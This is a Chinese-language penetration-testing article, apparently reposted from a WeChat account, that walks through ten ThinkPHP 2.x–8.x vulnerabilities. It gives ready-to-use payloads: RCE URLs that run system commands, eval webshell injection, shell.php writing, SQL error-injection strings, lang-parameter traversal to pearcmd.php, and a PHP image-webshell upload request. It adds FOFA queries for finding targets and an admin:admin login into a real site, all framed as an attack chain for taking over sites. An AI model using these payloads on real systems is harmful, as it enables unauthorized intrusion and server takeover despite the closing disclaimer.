文章总结: 本文系统梳理了ThinkPHP框架2.x至8.x版本的10个通用高危漏洞,涵盖RCE、SQL注入、反序列化、文件包含及文件上传等类型,并附实战getshell案例。文章提供了FOFA资产搜索语法、ThinkphpGUI工具使用及弱口令进入后台后上传getshell的完整攻击链,对各版本漏洞原理与利用方式进行了详细分析,并附免责声明强调仅限授权测试。
综合评分: 85
文章分类: 渗透测试,漏洞分析,红队,内网渗透
ThinkPHP框架:2.x-8.x全版本必须知道的10个通用漏洞(附实战getshell案例)
原创
森林之家zbs
森林之家zbs
allby森林之家
2026年9月16日 17:08
福建
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
ThinkPHP是什么?
ThinkPHP是国内用得最多的PHP开发框架,十个PHP网站里面估摸有三四个都是ThinkPHP搭的。
但是用得多,也就代表着它的暴露面就会变大,从2.x版本到8.x版本,几乎每个大版本都出过高危漏洞,而且很多还是直接RCE。
ThinkPHP站点长什么样?
ThinkPHP搭建的站点,页面右下角一般会有个长这样的标志:
ThinkPHP资产怎么找?
我推荐大家可以用FOFA搜,语句也很简单:
body=”thinkphp” && title=”后台管理”
能搜出来一大片,打出漏洞了话后面说不定还能通杀:
还可以把ThinkPHP的icon图标保存到本地,直接用icon图标检索:
手动打之前可以先用工具跑一波nday
这里推荐一个工具:ThinkphpGUI。
去GitHub上搜ThinkphpGUI就可以下载了,支持各版本Thinkphp漏洞检测、命令执行、getshell:
用法也很简单,填上目标URL再点POC检测,工具就会自动匹配版本对应的漏洞:
OK,接下来上正菜!
我把ThinkPHP各版本的通用漏洞全部都捋一遍,按版本线从2.x打头,再到8.x收尾,最后来一个文件上传getshell的实战案例。
漏洞一:TP2.x RCE(preg_replace /e)
从最老的版本说起:ThinkPHP 2.x早就不维护了,但还是会有些老站还在用,漏洞原因就是2.x在解析路由时用了preg_replace的/e模式。
这个模式会把匹配到的内容当作PHP代码执行,等于URL里写什么代码就跑什么代码。
影响版本:ThinkPHP 2.x、3.0(Lite模式)
▼ 漏洞1 原理流程图
查phpinfo:
/index.php?s=/index/index/xxx/${phpinfo()}
执行命令:
/index.php?s=/index/index/xxx/${system(whoami)}
写shell:
/index.php/module/action/param1/$%7B@print(eval($_POST[‘1’]))%7D
URL里的参数被preg_replace拿去替换,/e模式把替换后的内容当PHP代码跑了,最后导致${}里填什么就会执行什么。
漏洞二:TP3.x SQL注入 + 日志泄露
ThinkPHP 3.2.4及之前版本,解析s参数、order等参数时没有严格过滤。
构造恶意参数可以进行SQL注入,跟TP5的报错注入思路类似。
报错注入payload:
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
updatexml报错,user()回显当前数据库用户。
更关键的是,3.1到3.2版本开启调试模式时,错误日志直接输出到前端。
数据库连接信息全暴露在上面,账号密码一览无余。
▼ 漏洞2 原理流程图
3.x的老站虽然也所剩无几,但还是会有些政府站、学校站还在用的。
漏洞三:TP5 RCE(CVE-2018-20062)
ThinkPHP 5.0.0到5.0.23版本,Request类对method参数过滤不严。
攻击者通过POST请求伪造_method参数,配合filter参数触发call_user_func回调,直接执行系统命令。
影响版本:ThinkPHP 5.0.0 – 5.0.23
▼ 漏洞3 原理流程图
直接发包,POST请求:
POST /index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
filter[]=system指定回调函数,server[REQUEST_METHOD]=id指定要执行的命令,发过去后id命令的返回结果就回来了,再把id换成whoami、cat /etc/passwd,就能实现想执行什么换什么。
一条POST请求直接RCE,杀伤力拉满。
漏洞四:TP5 RCE(invokefunction)
这个漏洞跟上面那个不是一回事,虽然都是TP5的RCE,但触发路径完全不同。
5.0.22和5.1.29等版本,对路由中的控制器名过滤不严,允许通过命名空间直接调用框架核心类的任意方法。
影响版本:ThinkPHP 5.0.22、5.1.29等
▼ 漏洞4 原理流程图
执行phpinfo:
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
执行系统命令:
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd
写shell:
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=shell内容
call_user_func_array是PHP的内置函数,第一个参数是函数名,第二个是参数数组。
这里vars[0]控制函数名,vars[1]控制参数。
说白了就是你想调什么PHP函数就能调什么。phpinfo、system、file_put_contents,随便换。
写完shell就是直接蚁剑连,然后点到为止。
漏洞五:TP5 SQL注入 + 敏感信息泄露
ThinkPHP 5.x在处理数组参数时没做好过滤,构造恶意参数可以触发SQL报错注入。
影响版本:ThinkPHP 5.x
▼ 漏洞5 原理流程图
更要命的是,TP5默认开启debug模式,报错页面直接把数据库账号密码吐出来。
报错注入payload:
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
updatexml报错注入,user()回显当前数据库用户。
报错页面里不仅能看到SQL错误信息,连数据库连接的账号、密码都在里面。
一个注入两个漏洞,SQL注入加上敏感信息泄露。
另外,TP5.1.x在解析order参数时也有注入点,构造恶意order参数同样能报错注入,思路一样。
漏洞六:TP5 文件包含RCE
ThinkPHP 5.0.0到5.0.18版本,缓存文件变量没做好过滤,导致任意文件包含。
影响版本:ThinkPHP 5.0.0 – 5.0.18
▼ 漏洞6 原理流程图
利用思路:通过控制缓存文件的路径,包含pearcmd.php。
借pearcmd.php的写文件能力,往web目录写一个PHP文件,实现RCE。
具体payload根据目标环境调整,核心就是控制包含路径 + 利用pearcmd写马。
漏洞七:TP6 多语言文件包含RCE(CVE-2022-47945)
ThinkPHP 6.0.13及之前版本,开启多语言功能时,通过lang参数传递恶意路径,可以穿越目录包含任意文件。
影响版本:ThinkPHP 6.0.13及之前
▼ 漏洞7 原理流程图
利用方式:
/index.php?lang=../../../../usr/local/lib/php/pearcmd.php
跟TP5的文件包含思路类似,也是结合pearcmd.php实现RCE。
前提是目标开启了多语言功能。这个功能默认关着,但不少站会开。
漏洞八:TP6 反序列化RCE(CVE-2022-38352)
ThinkPHP 6.0.13及之前版本,PSR6Cache组件存在反序列化漏洞。
影响版本:ThinkPHP 6.0.13及之前
▼ 漏洞8 原理流程图
攻击者构造恶意的反序列化数据,可以触发一条POP链最终走到call_user_func,实现任意方法调用。
链路大致是这样的:反序列化入口先触发__destruct或__wakeup,经过几个类的跳转,最终在Model类的getJsonValue方法里执行任意函数。
关键在这一行:$closure($value[$key], $value)。
$closure和$value都是可控的,等于想调什么函数、传什么参数,全由你说了算。
TP6自带一个SerializableClosure包,能把匿名函数也反序列化,所以不光能调system执行命令,连写马这种需要传多参数的操作也能搞定。
感兴趣的朋友可以自己跟一下这条链,细节还是有点意思的。
漏洞九:TP8 反序列化RCE(CVE-2024-44902)
ThinkPHP 8.0.4及之前版本,Memcached组件存在反序列化漏洞。
影响版本:ThinkPHP 6.1.3 – 8.0.4,跨度不小。
▼ 漏洞9 原理流程图
这条链跟TP6那条有相似的地方,都是在反序列化过程中走到getJsonValue,通过控制$closure触发任意方法调用。
区别在于入口点和中间跳转的类不一样。
TP8这条是通过Manager类的__call方法触发baseQuery,再经BelongsTo类跳到Model的__isset,最终落到getJsonValue。
构造好POP链生成payload,触发反序列化就能RCE。
有兴趣深入研究调用链的朋友可以从__call方法入手跟一下。
漏洞十:实战文件上传Getshell
前面九个漏洞都是框架层面的通用漏洞,这个漏洞我们直接上实战案例。
这里找到一个ThinkPHP后台管理系统,然后直接弱口令admin:admin就进去了:
进后台之后,先用FindSomething插件扫一波接口,看看有没有敏感接口:
在议题列表的添加功能里,找到了文件上传点:
抓包发现,只点选择文件不点提交按钮,文件也可以传上去:
访问返回包里的路径,确认文件确实上传成功了:
通过测试发现这个站点的上传没有任何过滤,所以我们直接构造图片马:
Content-Disposition: form-data; name=”file”; filename=”tupianma.php”
Content-Type: image/jpeg
GIF89a
Content-Type改成image/jpeg绕过检测,文件名用.php,内容是GIF89a文件头+PHP代码。
传上去之后访问这个地址:
这里点到为止,打个phpinfo证明getshell成功:
最后总结
ThinkPHP从2.x到8.x,RCE、SQL注入、反序列化、文件包含、文件上传——常见Web漏洞类型集齐了。
一条链走下来:
FOFA找目标 → 工具跑nday → 没中就试弱口令进后台 → 找上传点getshell。框架漏洞手动打,配合后台功能点扩大危害。
碰到ThinkPHP站点,按这个顺序来,基本都能拿下一个点。各版本打法都给师傅们捋清楚了,剩下的就是实战练。
你们遇到过ThinkPHP站点吗?有没有遇见过文章提到的漏洞?
免责声明:本文仅供技术研究与学习交流使用,禁止用于非法用途。所有漏洞复现均应在本地靶场或授权环境下进行,未经授权的渗透测试属违法行为,后果自负。
【网安之家其他文章快通车】:
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:allby森林之家 森林之家zbs
森林之家zbs《ThinkPHP框架:2.x-8.x全版本必须知道的10个通用漏洞(附实战getshell案例)》